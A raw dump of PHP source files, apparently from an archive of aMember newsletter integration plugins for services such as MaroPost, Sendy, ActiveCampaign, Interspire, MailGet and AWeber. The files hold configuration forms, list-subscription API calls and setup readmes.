Am_Exception_InternalError("Bad response"); } if($result) { $this->debugLog("Email {$email} is present at blocklist [{$blockList}]"); return $res; } } $this->debugLog("Email {$email} is absent at all blocklists"); } return self::NOT_IN_BLOCKLIST; } protected function debugLog($log) { if ($this->getConfig('debud_mode')) $this->errorLog ($log, self::LOG_PREFIX_DEBUG); } protected function errorLog($log, $prefix = self::LOG_PREFIX_ERROR) { $this->getDi()->errorLogTable->log($prefix . $log); } public function getReadme() { return <<SuperWebMailer Plugin Readme 1. Fill required fields 'API Key' and 'Full API URL'. 2. Click 'Save' button. 3. Configure both 'Pass additional fields from aMember' and 'to SWM' options for using amember additional fields. ATTENTION: The order of these values is important: the first field from 'Pass additional fields from aMember' will be linked with the first fields from 'to SWM', the second field from 'Pass additional fields from aMember' will be linked with the second fields from 'to SWM', etc... 4. Click 'Save' button. 5. Go to 'aMember CP -> Protect Content -> Newsletters'. All your SWM lists will be automatically fetched from your SWM installation and added to table. If you cannot see SWM lists - click 'Refresh 3-rd party lists' button. You can configure newsletter access as usual. CUT; } }PKq\7 madmimi.phpnu[addText('api_key', array('size' => 40)) ->setLabel('Madmimi API Key') ->addRule('required'); $form->addText('username', array('size' => 20)) ->setLabel('Madmimi Username') ->addRule('required'); } public function isConfigured() { return $this->getConfig('api_key') && $this->getConfig('username'); } /** @return Am_Plugin_Madmimi */ function getApi() { return new Am_Madmimi_Api($this); } function escape_for_csv($s) { // Watch out! We may have quotes! So quote them. $s = str_replace('"', '""', $s); if(preg_match('/,/', $s) || preg_match('/"/', $s) || preg_match("/\n/", $s)) { // Quote the whole thing b/c we have a newline, comma or quote. return '"'.$s.'"'; } else { // False alarm. We're good. return $s; } } function build_csv(User $user) { $arr = array( 'email' => 'email', 'name_f' => 'firstName', 'name_l' => 'lastName' ); $csv = ""; foreach ($arr as $madmimi_field_name) { $value = $this->escape_for_csv($madmimi_field_name); $csv .= $value . ","; } $csv = substr($csv, 0, -1); $csv .= "\n"; foreach (array_keys($arr) as $amember_field_name) { $value = $this->escape_for_csv($user->get($amember_field_name)); $csv .= $value . ","; } $csv = substr($csv, 0, -1); $csv .= "\n"; return $csv; } public function changeSubscription(User $user, array $addLists, array $deleteLists) { $api = $this->getApi(); $users = new SimpleXMLElement($res = $api->sendRequest('/audience_members/search.xml',array('query'=>rawurlencode($user->email)))); if(!@count($users)) { $api->sendRequest('/audience_members',array('csv_file'=>$this->build_csv($user)), Am_HttpRequest::METHOD_POST); } foreach ($addLists as $list_id) { $list_id=rawurlencode($list_id); $api->sendRequest("/audience_lists/$list_id/add",array('email'=>$user->email), Am_HttpRequest::METHOD_POST); } foreach ($deleteLists as $list_id) { $list_id=rawurlencode($list_id); $api->sendRequest("/audience_lists/$list_id/remove",array('email'=>$user->email), Am_HttpRequest::METHOD_POST); } return true; } public function getLists() { $api = $this->getApi(); $xml = new SimpleXMLElement($api->sendRequest('/audience_lists/lists.xml')); $lists = array(); foreach (@$xml as $l) $lists[(string)$l['name']] = array('title'=>(string)$l['name']); return $lists; } public function getReadme() { return <<www.madmimi.com -> Account -> API - if no "API Keys" exists, click "Regenarate API Key" button - copy "API Key" value and insert it into aMember Madmimi plugin settings (this page) and click "Save" - go to aMember CP -> Protect Content -> Newsletters, you will be able to define who and how can subscribe to your Madmimi lists. CUT; } } class Am_Madmimi_Api extends Am_HttpRequest { /** @var Am_Plugin_Madmimi */ protected $plugin; public function __construct(Am_Newsletter_Plugin_Madmimi $plugin) { $this->plugin = $plugin; parent::__construct(); } public function sendRequest($path, $params = array(), $method = self::METHOD_GET) { $this->setMethod($method); $this->setHeader('Expect',''); $params['username'] = $this->plugin->getConfig('username'); $params['api_key'] = $this->plugin->getConfig('api_key'); if($method == self::METHOD_GET) $this->setUrl($url = 'http://api.madmimi.com'.$path. '?' . http_build_query($params, '', '&')); else { $this->setUrl($url = 'http://api.madmimi.com'.$path); foreach($params as $name => $value) $this->addPostParameter($name, $value); } $ret = parent::send(); if ($ret->getStatus() != '200') { throw new Am_Exception_InternalError("Madmimi API Error, configured API Key is wrong"); } return $ret->getBody(); } }PKq\YЪ  arp.phpnu[addText('url', array('size' => 60))->setLabel('AutoResponse Pro Url'); $el->addRule('required'); $el->addRule('regex', 'URL must start with http:// or https://', '/^(http|https):\/\//'); $ef = $form->addSelect('email_field')->setLabel('Choose Alternative E-Mail Field'); $fields = $this->getDi()->userTable->getFields(true); $ef->loadOptions(array_combine($fields, $fields)); $ef->addRule('required', true); $form->setDefault('email_field', 'email'); $ff = $form->addMagicSelect('fields')->setLabel('Pass additional fields to ARP'); $ff->loadOptions(array_combine($fields, $fields)); } function doRequest(array $vars) { $req = new Am_HttpRequest($this->getConfig('url'), Am_HttpRequest::METHOD_POST); $req->addPostParameter($vars); return $req->send(); } public function isConfigured() { return strlen($this->getConfig('url')); } public function changeSubscription(User $user, array $addLists, array $deleteLists) { $email = $user->get($this->getConfig('email_field', 'email')); if (empty($email)) return true; // add custom fields info $fields = array(); foreach ($this->getConfig('fields', array()) as $fn) $fields['custom_'.$fn] = $user->get($fn); foreach ($addLists as $listId) { $ret = $this->doRequest(array( 'id' => $listId, 'full_name' => $user->getName(), 'split_name' => $user->getName(), 'email' => $email, 'subscription_type' => 'E', ) + $fields); if (!$ret) return false; } foreach ($deleteLists as $listId) { $ret = $this->doRequest(array( 'id' => $listId, 'full_name' => $user->getName(), 'split_name' => $user->getName(), 'email' => $email, 'subscription_type' => 'E', 'arp_action' => 'UNS', )); if (!$ret) return false; } return true; } function onUserAfterUpdate(Am_Event_UserAfterUpdate $event) { $ef = $this->getConfig('email_field', 'email'); if ($ef != 'email') // else changeEmail will be called by Bootstrap { $oldEmail = $event->getOldUser()->get($ef); $newEmail = $event->getUser()->get($ef); if ($oldEmail != $newEmail) $this->changeEmail($event->getUser(), $oldEmail, $newEmail); } } public function changeEmail(User $user, $oldEmail, $newEmail) { $ef = $this->getConfig('email_field', 'email'); // fetch all user subscribed ARP lists, unsubscribe $list_ids = $this->getDi()->newsletterUserSubscriptionTable->getSubscribedIds($user->pk()); $lists = array(); foreach ($this->getDi()->newsletterListTable->loadIds($list_ids) as $list) { if ($list->plugin_id != $this->getId()) continue; $lists[] = $list->plugin_list_id; } $user->set($ef, $oldEmail)->toggleFrozen(true); $this->changeSubscription($user, array(), $lists); // subscribe again $user->set($ef, $newEmail)->toggleFrozen(false); $this->changeSubscription($user, $lists, array()); } } PKq\hoRR maropost.phpnu[addText('account_id', array('size' => 10)) ->setLabel('MaroPost Account ID') ->addRule('required') ->addRule('regex', ___('Digits only please'), '/^[0-9]+$/'); $el = $form->addPassword('auth_token', array('size' => 20)) ->setLabel('MaroPost Auth Token') ->addRule('required'); } function isConfigured() { $account_id = $this->getConfig('account_id'); $auth_token = $this->getConfig('auth_token'); return ($account_id > 0 && !empty($auth_token)); } /** @return Am_Plugin_MaroPost */ function getApi() { return new Am_MaroPost_Api($this->getConfig('account_id'), $this->getConfig('auth_token')); } public function changeSubscription(User $user, array $addLists, array $deleteLists) { $api = $this->getApi(); foreach ($addLists as $list_id) { $api->call('lists/' . $list_id . '/contacts', array( 'first_name' => $user->name_f, 'last_name' => $user->name_l, 'email' => $user->email, 'subscribe' => true ), $api::METHOD_POST); } foreach ($deleteLists as $list_id) { $res = $api->call('lists/' . $list_id . '/contacts'); foreach ($res as $contact) { if ($contact['email'] == $user->email) $api->call('lists/' . $list_id . '/contacts/' . $contact['id'], array(), $api::METHOD_DELETE); } } return true; } public function getLists() { $api = $this->getApi(); $ret = array(); $page = 1; do { $lists = $api->call('lists', array(), 'GET', $page); foreach ($lists as $l) { $id = $l['id']; $ret[$id] = array( 'title' => $l['name'], ); } $page++; } while (count($lists) > 0); return $ret; } public function getReadme() { return <<app.maropost.com -> Account -> API Documentation - copy Account ID and Auth Token values and insert it into aMember MaroPost plugin settings (this page) and click "Save" - go to aMember CP -> Protect Content -> Newsletters, you will be able to define who and how can subscribe to your MaroPost lists. CUT; } } class Am_MaroPost_Api extends Am_HttpRequest { const FORMAT_XML = 'xml'; const FORMAT_JSON = 'json'; protected $account_id = null; protected $auth_token = null; protected $endpoint = 'http://app.maropost.com/accounts'; public function __construct($account_id, $auth_token) { $this->account_id = $account_id; $this->auth_token = $auth_token; parent::__construct(); } public function call($path, $params = array(), $method = self::METHOD_GET, $page = '') { if (!$this->account_id || empty($this->auth_token)) return array(); $this->setMethod($method); $this->setAdapter('socket'); $url = $this->endpoint . '/' . $this->account_id . '/' . $path . '.' . self::FORMAT_JSON . '?' . 'auth_token=' . $this->auth_token; if ($page > 1) $url .= '&page=' . $page; $this->setUrl($url); $this->setBody(json_encode($params)); $this->setHeader('Content-Type', 'application/json'); $this->setHeader('Accept', 'application/json'); $ret = parent::send(); if ($ret->getStatus() != '200' && $ret->getStatus() != '201') { throw new Am_Exception_InternalError("MaroPost API Error, please check configuration. Status code: [".$ret->getStatus()."]"); } $arr = array(); if ($ret) $arr = json_decode($ret->getBody(), true); // if (!$arr && $method != self::METHOD_DELETE) // throw new Am_Exception_InternalError("MaroPost API Error - unknown response [" . $ret->getBody() . "]"); return $arr; } }PKq\ҭww sendy.phpnu[addText('url', array('class' => 'el-wide')) ->setLabel("Sendy URL\n" . 'url of your setup of Sendy') ->addRule('required'); } public function changeSubscription(User $user, array $addLists, array $deleteLists) { $email = $user->get($this->getConfig('email_field', 'email')); if (empty($email)) return true; foreach ($addLists as $listId) { $ret = $this->doRequest('/subscribe', array( 'name' => $user->getName(), 'email' => $email, 'list' => $listId, 'boolean' => 'true' )); if ($ret != '1') return false; } foreach ($deleteLists as $listId) { $ret = $this->doRequest('/unsubscribe', array( 'email' => $email, 'list' => $listId, 'boolean' => 'true' )); if ($ret != '1') return false; } return true; } function doRequest($path, array $vars) { $req = new Am_HttpRequest($this->getConfig('url') . $path, Am_HttpRequest::METHOD_POST); $req->addPostParameter($vars); $res = $req->send(); return $res->getBody(); } }PKq\$t=t=activecampaign-full.phpnu[addAdvRadio('api_type') ->setLabel(___('Version of script')) ->loadOptions(array( '0' => ___('Downloaded on your own server'), '1' => ___('Hosted at Activecampaing\'s server'))); $form->addScript()->setScript(<<addText('api_url', array('class' => 'el-wide')) ->setLabel("Activecampaign API url\n" . "it should be with http://"); $form->addText('api_key', array('class' => 'el-wide'))->setLabel('Activecampaign API Key'); $form->addText('api_user', array('class' => 'el-wide'))->setLabel('Activecampaign Admin Login'); $form->addPassword('api_password', array('class' => 'el-wide'))->setLabel('Activecampaign Admin Password'); $form->addAdvCheckbox('debug') ->setLabel("Debug logging\n" . 'Record debug information in the log'); } public function init() { $lists = array('' => '*** None'); $app_lists = $this ->getDi() ->newsletterListTable ->findByPluginId('activecampaign-full'); foreach ($app_lists as $l) { $lists[$l->plugin_list_id] = $l->title; } class_exists('Am_Record_WithData', true); // AFTER PURCHASE PRODUCT // subscribe to $f = new Am_CustomFieldSelect( self::ACTIVE_SUB, "SUBSCRIBE to Activecampaign List\n" . "after ACTIVATE this product"); $f->options = $lists; $this->getDi()->productTable->customFields()->add($f); // unsubscribe from $f = new Am_CustomFieldSelect( self::ACTIVE_UNSUB, "UNSUBSCRIBE from Activecampaign List\n" . "after ACTIVATE this product"); $f->options = $lists; $this->getDi()->productTable->customFields()->add($f); // AFTER NON PAID PRODUCT // subscribe to $f = new Am_CustomFieldSelect( self::INACTIVE_SUB, "SUBSCRIBE to Activecampaign List\nafter NON PAID this product"); $f->options = $lists; $this->getDi()->productTable->customFields()->add($f); // unsubscribe from $f = new Am_CustomFieldSelect( self::INACTIVE_UNSUB, "UNSUBSCRIBE from Activecampaign List\n" . "after NON PAID this product"); $f->options = $lists; $this->getDi()->productTable->customFields()->add($f); // AFTER EXPIRE PRODUCT // subscribe to $f = new Am_CustomFieldSelect( self::EXPIRE_SUB, "SUBSCRIBE to Activecampaign List\n" . "after EXPIRE this product"); $f->options = $lists; $this->getDi()->productTable->customFields()->add($f); // unsubscribe from $f = new Am_CustomFieldSelect( self::EXPIRE_UNSUB, "UNSUBSCRIBE from Activecampaign List\n" . "after EXPIRE this product"); $f->options = $lists; $this->getDi()->productTable->customFields()->add($f); } function isConfigured() { return ($this->getConfig('api_type') == 0 && $this->getConfig('api_user') && $this->getConfig('api_password')) || ($this->getConfig('api_type') == 1 && $this->getConfig('api_key')); } /** @return Am_ActivecampaignFull_Api */ function getApi() { if (!isset($this->api)) { $this->api = new Am_ActivecampaignFull_Api($this); } return $this->api; } function onSubscriptionChanged( Am_Event_SubscriptionChanged $event, User $oldUser = null) { $pAdded = $event->getAdded(); $pDeleted = $event->getDeleted(); $user = $event->getUser(); $lAdded = $lDeleted = array(); foreach ($pAdded as $pId) { $product = $this->getDi()->productTable->load($pId); if($list = $product->data()->get(self::ACTIVE_SUB)) { if(!in_array($list, $lAdded)) $lAdded[] = $list; } if($list = $product->data()->get(self::ACTIVE_UNSUB)) { if(!in_array($list, $lDeleted)) $lDeleted[] = $list; } } foreach ($pDeleted as $pId) { $product = $this->getDi()->productTable->load($pId); if( // expired after all rebill times: ($invoiceId = $this ->getDi() ->db ->selectCell("" . "SELECT invoice_id " . "FROM ?_access " . "WHERE user_id=?d " . "AND product_id=?d " . "ORDER BY expire_date " . "DESC", $user->pk(), $product->pk())) && ($invoice = $this->getDi()->invoiceTable->load($invoiceId)) && ($invoice->status == Invoice::RECURRING_FINISHED) ){ if($list = $product->data()->get(self::EXPIRE_SUB)) { if(!in_array($list, $lAdded)) { $lAdded[] = $list; } } if($list = $product->data()->get(self::EXPIRE_UNSUB)) { if(!in_array($list, $lDeleted)) { $lDeleted[] = $list; } } } else { if($list = $product->data()->get(self::INACTIVE_SUB)) { if(!in_array($list, $lAdded)) { $lAdded[] = $list; } } if($list = $product->data()->get(self::INACTIVE_UNSUB)) { if(!in_array($list, $lDeleted)) { $lDeleted[] = $list; } } } } foreach($lAdded as $list) { $am_list = $this->getDi()->newsletterListTable->findFirstBy(array( 'plugin_id' => $this->getId(), 'plugin_list_id' => $list )); $this->getDi()->newsletterUserSubscriptionTable->add( $user, $am_list, NewsletterUserSubscription::TYPE_AUTO); } foreach($lDeleted as $list) { $am_list = $this->getDi()->newsletterListTable->findFirstBy(array( 'plugin_id' => $this->getId(), 'plugin_list_id' => $list )); $table = $this ->getDi() ->newsletterUserSubscriptionTable; /* @var $record NewsletterUserSubscription */ if ($record = $table ->findFirstBy(array( 'user_id' => $user->pk(), 'list_id' => $am_list->pk() ))) { //error_log($record->subscription_id); $record->disable(); } } } function changeSubscription( User $user, array $addLists, array $deleteLists) { //error_log('here'); $api = $this->getApi(); $acuser = $api->sendRequest( 'contact_view_email', array('email' => $user->email), Am_HttpRequest::METHOD_GET); if ($acuser['id']) { $lists = array(); foreach ($addLists as $id) { $lists["p[$id]"] = $id; $lists["status[$id]"] = 1; } foreach ($deleteLists as $id) { $lists["p[$id]"] = $id; $lists["status[$id]"] = 2; } //user exists in ActiveCampaign $ret = $api->sendRequest('contact_edit', array_merge(array( 'id' => $acuser['subscriberid'], 'email' => $user->email, 'first_name' => $user->name_f, 'last_name' => $user->name_l, 'overwrite' => 0 ), $lists)); if (!$ret) return false; } else { $lists = array(); foreach ($addLists as $id) { $lists["p[$id]"] = $id; $lists["status[$id]"] = 1; } foreach ($deleteLists as $id) { $lists["p[$id]"] = $id; $lists["status[$id]"] = 2; } //user does no exist in ActiveCampaign $ret = $api->sendRequest('contact_add', array_merge(array( 'email' => $user->email, 'first_name' => $user->name_f, 'last_name' => $user->name_l ), $lists)); if (!$ret) return false; } return true; } function onUserAfterUpdate(Am_Event_UserAfterUpdate $event) { $api = $this->getApi(); $user = $event->getUser(); $acuser = $api->sendRequest( 'contact_view_email', array('email' => $user->email), Am_HttpRequest::METHOD_GET); if (isset($acuser['id'])) { $id = $acuser['id']; //error_log($id); $api->sendRequest( 'contact_edit', array( 'id' => $id, 'email' => $user->email, 'overwrite' => 0, 'first_name' => $user->name_f, 'last_name' => $user->name_l, 'phone' => $user->phone ), Am_HttpRequest::METHOD_GET); } } public function getLists() { $api = $this->getApi(); $ret = array(); $lists = $api->sendRequest( 'list_list', array('ids' => 'all'), Am_HttpRequest::METHOD_GET); foreach ($lists as $l) { $ret[$l['id']] = array( 'title' => $l['name'], ); } return $ret; } public function getReadme() { return << Protect Content -> Newsletters, you will be able to define who and how can subscribe to your Activecampaign lists. - Configure for every product list, user need subscribe/unsubscribe basing on different events. CUT; } } class Am_ActivecampaignFull_Api extends Am_HttpRequest { /** @var Am_Newsletter_Plugin */ protected $plugin; protected $vars = array(); // url params protected $params = array(); // request params public function __construct(Am_Newsletter_Plugin $plugin) { $this->plugin = $plugin; parent::__construct(); } public function sendRequest( $api_action, $params, $method = self::METHOD_POST) { $this->setMethod($method); $this->setHeader('Expect', ''); $corrid = rand(); $this->params = $params; if ($this->plugin->getConfig('api_type') == 0) { $this->vars['api_user'] = $this->plugin->getConfig('api_user'); $this->vars['api_pass'] = $this->plugin->getConfig('api_password'); } else { $this->vars['api_key'] = $this->plugin->getConfig('api_key'); } $this->vars['api_action'] = $api_action; $this->vars['api_output'] = 'serialize'; if ($method == self::METHOD_POST) { $this->addPostParameter($this->params); $url = $this->plugin->getConfig('api_url') . '/admin/api.php?' . http_build_query($this->vars, '', '&'); if($this->plugin->getConfig('debug')) { Am_Di::getInstance() ->errorLogTable ->log("[{$corrid}] ACTIVECAMPAIGN POST REQUEST : $url" . var_export($this->params, true)); } } else { $url = $this->plugin->getConfig('api_url') . '/admin/api.php?' . http_build_query($this->vars + $this->params, '', '&'); if($this->plugin->getConfig('debug')) { Am_Di::getInstance() ->errorLogTable ->log("[{$corrid}] ACTIVECAMPAIGN GET REQUEST : $url"); } } $this->setUrl($url); $ret = parent::send(); if (!in_array($ret->getStatus(),array(200,404))) { throw new Am_Exception_InternalError("" . "[{$corrid}] Activecampaign API Error, " . "configured API Key is wrong"); } $arr = unserialize($ret->getBody()); if($this->plugin->getConfig('debug')) { Am_Di::getInstance() ->errorLogTable ->log("[{$corrid}] ACTIVECAMPAIGN RESPONSE : " . var_export($arr, true)); } if (!$arr) { throw new Am_Exception_InternalError( "[{$corrid}] Activecampaign API Error - " . "unknown response [" . $ret->getBody() . "]"); } if ($arr['result_code'] != 1) { Am_Di::getInstance() ->errorLogTable ->log("[{$corrid}] Activecampaign API Error - " . "code [" . $arr['result_code'] . "]" . "response [" . $arr['result_message'] . "]"); } unset( $arr['result_code'], $arr['result_message'], $arr['result_output']); return $arr; } }PKq\$mminterspire.phpnu[addText('url', array('class' => 'el-wide')) ->setLabel('XML Path') ->addRule('required') ->addRule('regex', 'URL must start with http:// or https://', '/^(http|https):\/\//'); $form->addText('username', array('class' => 'el-wide')) ->setLabel("XML Username\n" . 'The user name used to login to the Interspire Email Marketer') ->addRule('required'); $form->addText('usertoken', array('class' => 'el-wide')) ->setLabel("XML Token\n" . 'The unique token assigned to the user account used above') ->addRule('required'); $form->addAdvCheckbox('xmldebuglog') ->setLabel("XML debug log\n" . 'XML record in the log'); } public function isConfigured() { return $this->getConfig('url'); } function getApi() { return new Am_Interspire_Api($this->getConfig('url'),$this->getConfig('xmldebuglog')); } public function changeSubscription(User $user, array $addLists, array $deleteLists) { $api = $this->getApi(); foreach ($addLists as $list_id) { $api->call( 'AddSubscriberToList', array( 'username' => $this->getConfig('username'), 'usertoken' => $this->getConfig('usertoken'), 'listId' => $list_id, 'email' => $user->email, 'user' => array( 2 => $user->name_f, 3 => $user->name_l, 4 => $user->phone, 8 => $user->city, 9 => $user->state, 10 => $user->zip, 11 => $user->country ) ) ); } foreach ($deleteLists as $list_id) { $api->call( 'DeleteSubscriber', array( 'username' => $this->getConfig('username'), 'usertoken' => $this->getConfig('usertoken'), 'listId' => $list_id, 'email' => $user->email ) ); } return true; } public function changeEmail(User $user, $oldEmail, $newEmail) { $ef = $this->getConfig('email_field', 'email'); // fetch all user subscribed ARP lists, unsubscribe $list_ids = $this->getDi()->newsletterUserSubscriptionTable->getSubscribedIds($user->pk()); $lists = array(); foreach ($this->getDi()->newsletterListTable->loadIds($list_ids) as $list) { if ($list->plugin_id != $this->getId()) continue; $lists[] = $list->plugin_list_id; } $user->set($ef, $oldEmail)->toggleFrozen(true); $this->changeSubscription($user, array(), $lists); // subscribe again $user->set($ef, $newEmail)->toggleFrozen(false); $this->changeSubscription($user, $lists, array()); } public function getLists() { $api = $this->getApi(); $lists = array(); $xml = $api->call( 'GetLists', array( 'username' => $this->getConfig('username'), 'usertoken' => $this->getConfig('usertoken') ) ); foreach ($xml->data->item as $item) $lists[(string)$item->listid] = array( 'title' => (string)$item->name, ); return $lists; } public function getReadme() { return <<View User Accounts - click "Edit" on System Administrator account - go to "Advanced User Settings" tab - select to checkbox "Yes, allow this user to use the XML API" - copy "XML Path" value and insert it into aMember Interspire plugin settings (this page) - copy "XML Username" value and insert it into aMember Interspire plugin settings (this page) - copy "XML Token" value and insert it into aMember Interspire plugin settings (this page) - click "Save" - go to aMember CP -> Protect Content -> Newsletters, you will be able to define who and how can subscribe to your Interspire lists. You can create lists in http://your.domain.com/emailmarketer/admin/index.php ("managed list button") CUT; } } class Am_Interspire_Api extends Am_HttpRequest { protected $debuglog; public function __construct($url, $debug=false) { parent::__construct(); $this->setMethod(self::METHOD_POST); $this->setHeader('Content-type: text/xml; charset=utf-8'); $this->setUrl($url); $this->debuglog = $debug; } public function call($method, $vars) { $xml_out=$this->prepCall($method, $vars); $this->setBody($xml_out); $response = parent::send(); if ($response->getStatus() != '200') throw new Am_Exception_InternalError("Interspire API Error, is configured API is wrong"); $body = $response->getBody(); $xml = simplexml_load_string($body); if (!$xml) throw new Am_Exception_InternalError("Interspire API Error, returned not xml: $body. Method: [$method]"); if ($xml->status != 'SUCCESS') throw new Am_Exception_InternalError("Interspire API Error: $xml->errormessage. Method: [$method]"); if ($this->debuglog) { Am_Di::getInstance()->errorLogTable->log("Interspire-debug. XML-request:" .(string)$xml_out. ". XML-response: ".(string)$body); } return $xml; } protected function prepCall($method, $vars) { $xml = new SimpleXMLElement(''); $xml->{'username'} = $vars['username']; $xml->{'usertoken'} = $vars['usertoken']; $xml->{'requestmethod'} = $method; switch ($method){ case 'AddSubscriberToList': $xml->{'requesttype'} = 'subscribers'; $xml->{'details'}->{'emailaddress'} = $vars['email']; $xml->{'details'}->{'mailinglist'} = $vars['listId']; $xml->{'details'}->{'format'} = 'html'; $xml->{'details'}->{'confirmed'} = 'yes'; $i = 0; foreach ($vars['user'] as $key => $value) { if(!empty($value)){ $xml->{'details'}->{'customfields'}->{'item'}[$i]->{'fieldid'} = $key; $xml->{'details'}->{'customfields'}->{'item'}[$i]->{'value'} = $value; $i++; } } break; case 'GetLists': $xml->{'requesttype'} = 'user'; $xml->{'details'}->start = 0; $xml->{'details'}->perpage = 100; break; case 'xmlapitest': $xml->{'requesttype'} = 'authentication'; break; case 'DeleteSubscriber': $xml->{'requesttype'} = 'subscribers'; $xml->{'details'}->{'emailaddress'} = $vars['email']; $xml->{'details'}->{'listid'} = $vars['listId']; break; case 'GetCustomFields': $xml->{'requesttype'} = 'lists'; $xml->{'details'}->{'listids'} = $vars['listids']; break; default: throw new Am_Exception_InternalError("Interspire API Error: unknown method: $method"); break; } return $xml->asXML(); } }PKq\,vv mailget.phpnu[addPassword('api_key', array('size' => 40))->setLabel('MailGet API Key'); $el->addRule('required'); if($this->canGetLists()) { $lists = array('' => 'Please Select'); try{ foreach($this->getLists() as $k => $v) $lists[$k] = $v['title']; } catch(Exception $e) { //just log $this->getDi()->errorLogTable->logException($e); } $form->addSelect('pending_list', array(), array('options' => $lists))->setLabel(___("Pending List\n User will be added to this list immediately after signup")); $form->addSelect('expired_list', array(), array('options' => $lists))->setLabel(___("Expired List\n User will be added to this list immediately when his subscription expires")); } } function onSignupUserAdded(Am_Event $e){ if($list_id = $this->getConfig('pending_list')){ $list = $this->getDi()->newsletterListTable->findFirstBy(array('plugin_id'=>$this->getId(), 'plugin_list_id' => $list_id)); $s = $this->getDi()->newsletterUserSubscriptionTable->add($e->getUser(), $list, 'user'); } } function onSubscriptionChanged(Am_Event_SubscriptionChanged $e){ if(($e->getUser()->status == User::STATUS_EXPIRED) && ($list_id = $this->getConfig('expired_list'))){ $list = $this->getDi()->newsletterListTable->findFirstBy(array('plugin_id'=>$this->getId(), 'plugin_list_id' => $list_id)); $s = $this->getDi()->newsletterUserSubscriptionTable->add($e->getUser(), $list, 'user'); } } function isConfigured() { return $this->getConfig('api_key'); } function getAPI() { return new Am_Mailget_Api($this); } public function getLists() { $api = $this->getApi(); $ret = array(); $lists = $api->sendRequest('get_list_in_json'); foreach ($lists['contact_list'] as $l) $ret[$l['list_id']] = array( 'title' => $l['list_name'], ); return $ret; } public function changeSubscription(User $user, array $addLists, array $deleteLists) { $api = $this->getApi(); foreach ($addLists as $list_id){ $api->sendRequest('save_data', array( 'json_arr' =>json_encode(array( $user->email => array('name' => $user->getName(), 'email'=>$user->email, 'get_date' => date('Y-m-d'), 'ip'=>$user->remote_addr) )), 'list_id_enc' =>$list_id, 'send_val'=>'single' )); } foreach($deleteLists as $list_id){ $api->sendRequest('delete_from_list', array( 'list_id_enc' => $list_id, 'email' => $user->getEmail() )); } return true; } } class Am_Mailget_Api extends Am_HttpRequest { protected $plugin; protected $vars = array(); // url params protected $params = array(); // request params\ const API_URL = 'http://www.formget.com/mailget/mailget_api/'; public function __construct(Am_Newsletter_Plugin_Mailget $plugin) { $this->plugin = $plugin; parent::__construct(); } public function sendRequest($method, $params = array(), $httpMethod = 'POST') { $this->setMethod($httpMethod); $params['api_key'] = $this->plugin->getConfig('api_key'); $this->setUrl($url = self::API_URL . '/' . $method); foreach($params as $k=>$v){ $this->addPostParameter($k, $v); } $ret = parent::send(); Am_Di::getInstance()->errorLogTable->log("MailGet Debug: method=$method params=".print_r($params, true)." resp=".$ret->getBody()." status=".$ret->getStatus()); if ($ret->getStatus() != 200) { throw new Am_Exception_InternalError("MailGet API Error:" . $ret->getBody()); } $body = $ret->getBody(); if (!$body) return array(); $arr = json_decode($body, true); return $arr; } } PKq\Faweber/aweber.phpnu[addTextarea('auth', array('class'=>'el-wide', 'rows' => 4)) ->setLabel( "aWeber App Authorization Code\n". "get it on aWeber Website"); $el->addRule('regex', 'Invalid value', '/^[a-zA-Z0-9]+\|[a-zA-Z0-9]+\|[a-zA-Z0-9]+\|[a-zA-Z0-9]+\|[a-zA-Z0-9]+\|\s*$/'); if ($this->getConfig('auth') && !$this->getConfig('access.access_token')) { if (!empty($_GET['oauth_token'])) { $api = $this->getApi(); $api->user->tokenSecret = $_COOKIE['requestTokenSecret']; $api->user->requestToken = $_GET['oauth_token']; $api->user->verifier = $_GET['oauth_verifier']; list($accessToken, $accessTokenSecret) = $api->getAccessToken(); $this->getDi()->config->saveValue('newsletter.aweber.access', array( 'access_token' => $accessToken, 'access_secret' => $accessTokenSecret, )); return Am_Mvc_Response::redirectLocation($this->getDi()->url("admin-setup/aweber")); } else { $api = $this->getApi(); $callbackUrl = $this->getDi()->request->assembleUrl(false,true); try { list($requestToken, $requestTokenSecret) = $api->getRequestToken($callbackUrl); Am_Cookie::set('requestTokenSecret', $requestTokenSecret); $form->addStatic()->setLabel('Access Tokens') ->setContent(sprintf('Access tokens are empty or expired, %sclick this link%s to update', '', '')); } catch(Exception $e) { $this->getDi()->errorLogTable->logException($e); $form->addStatic()->setLabel('Access Tokens') ->setContent('Plugin configuration error. Got an error from API: '.$e->getMessage()); } } } $fields = $this->getDi()->userTable->getFields(true); unset ($fields['email']); unset ($fields['name_f']); unset ($fields['name_l']); $ff = $form->addMagicSelect('fields')->setLabel("Pass additional fields to AWeber\nfields must be configured in AWeber with exactly same titles\nelse API calls will fail and users will not be added\n\nBy default the plugin passes \"email\" and \"name\"\nfields to Aweber, so usually you do not need to select \nthat fields to send as additional fields. "); $ff->loadOptions(array_combine($fields, $fields)); } public function isConfigured() { return (bool)$this->getConfig('auth'); } function getApi() { if(!class_exists('AWeberException', false)) require_once dirname(__FILE__) . '/api.php'; $x = explode('|', $this->getConfig('auth')); $api = new AWeberAPI(@$x[0], @$x[1]); return $api; } /** @return AWeberCollection */ function getAccount() { $api = $this->getApi(); $access = $this->getConfig('access'); if (!$access['access_token']) throw new Am_Exception_Configuration("AWeber Keys expired"); $account = $api->getAccount($access['access_token'], $access['access_secret']); return $account; } public function getLists() { $ret = array( ); foreach ($this->getAccount()->lists as $list) $ret[$list->id] = array('title' => $list->name); return $ret; } public function changeSubscription(User $user, array $addLists, array $deleteLists) { foreach ($addLists as $listId) { $list = $this->getAccount()->lists->getById($listId); try { $custom_fields = array(); foreach ($this->getConfig('fields', array()) as $f) { $custom_fields[$f] = (string)$user->get($f); if (!strlen($custom_fields[$f])) $custom_fields[$f] = (string)$user->data()->get($f); } $info = array( 'email' => $user->email, 'name' => $user->getName(), 'ip_address' => (string)filter_var($user->remote_addr, FILTER_VALIDATE_IP, array('flags'=>FILTER_FLAG_IPV4)) ); if ($custom_fields) $info['custom_fields'] = $custom_fields; $subs = $list->subscribers->create($info); } catch (AWeberAPIException $e) { if ($e->getMessage() == 'email: Subscriber already subscribed.') return true; $this->getDi()->errorLogTable->log($e); return false; } $attr = $subs->attrs(); $id = $attr['id']; $user->data()->set('aweber.' . $listId, $id)->update(); } foreach ($deleteLists as $listId) { $uid = $user->data()->get('aweber.' . $listId); if (!$uid) return true; $list = $this->getAccount()->lists->getById($listId); $sub = $list->subscribers->getById($uid); $res = $sub->delete(); $user->set('aweber.'.$listId, null)->update(); } return true; } function getReadme() { return << Protect Content -> Newsletters. All your AWeber lists will be automatically fetched from AWeber website and added to table. You can configure newsletter access as usual. CUT; } }PKq\ͺaweber/api.phpnu[= 400) * * * @uses AWeberException * @package * @version 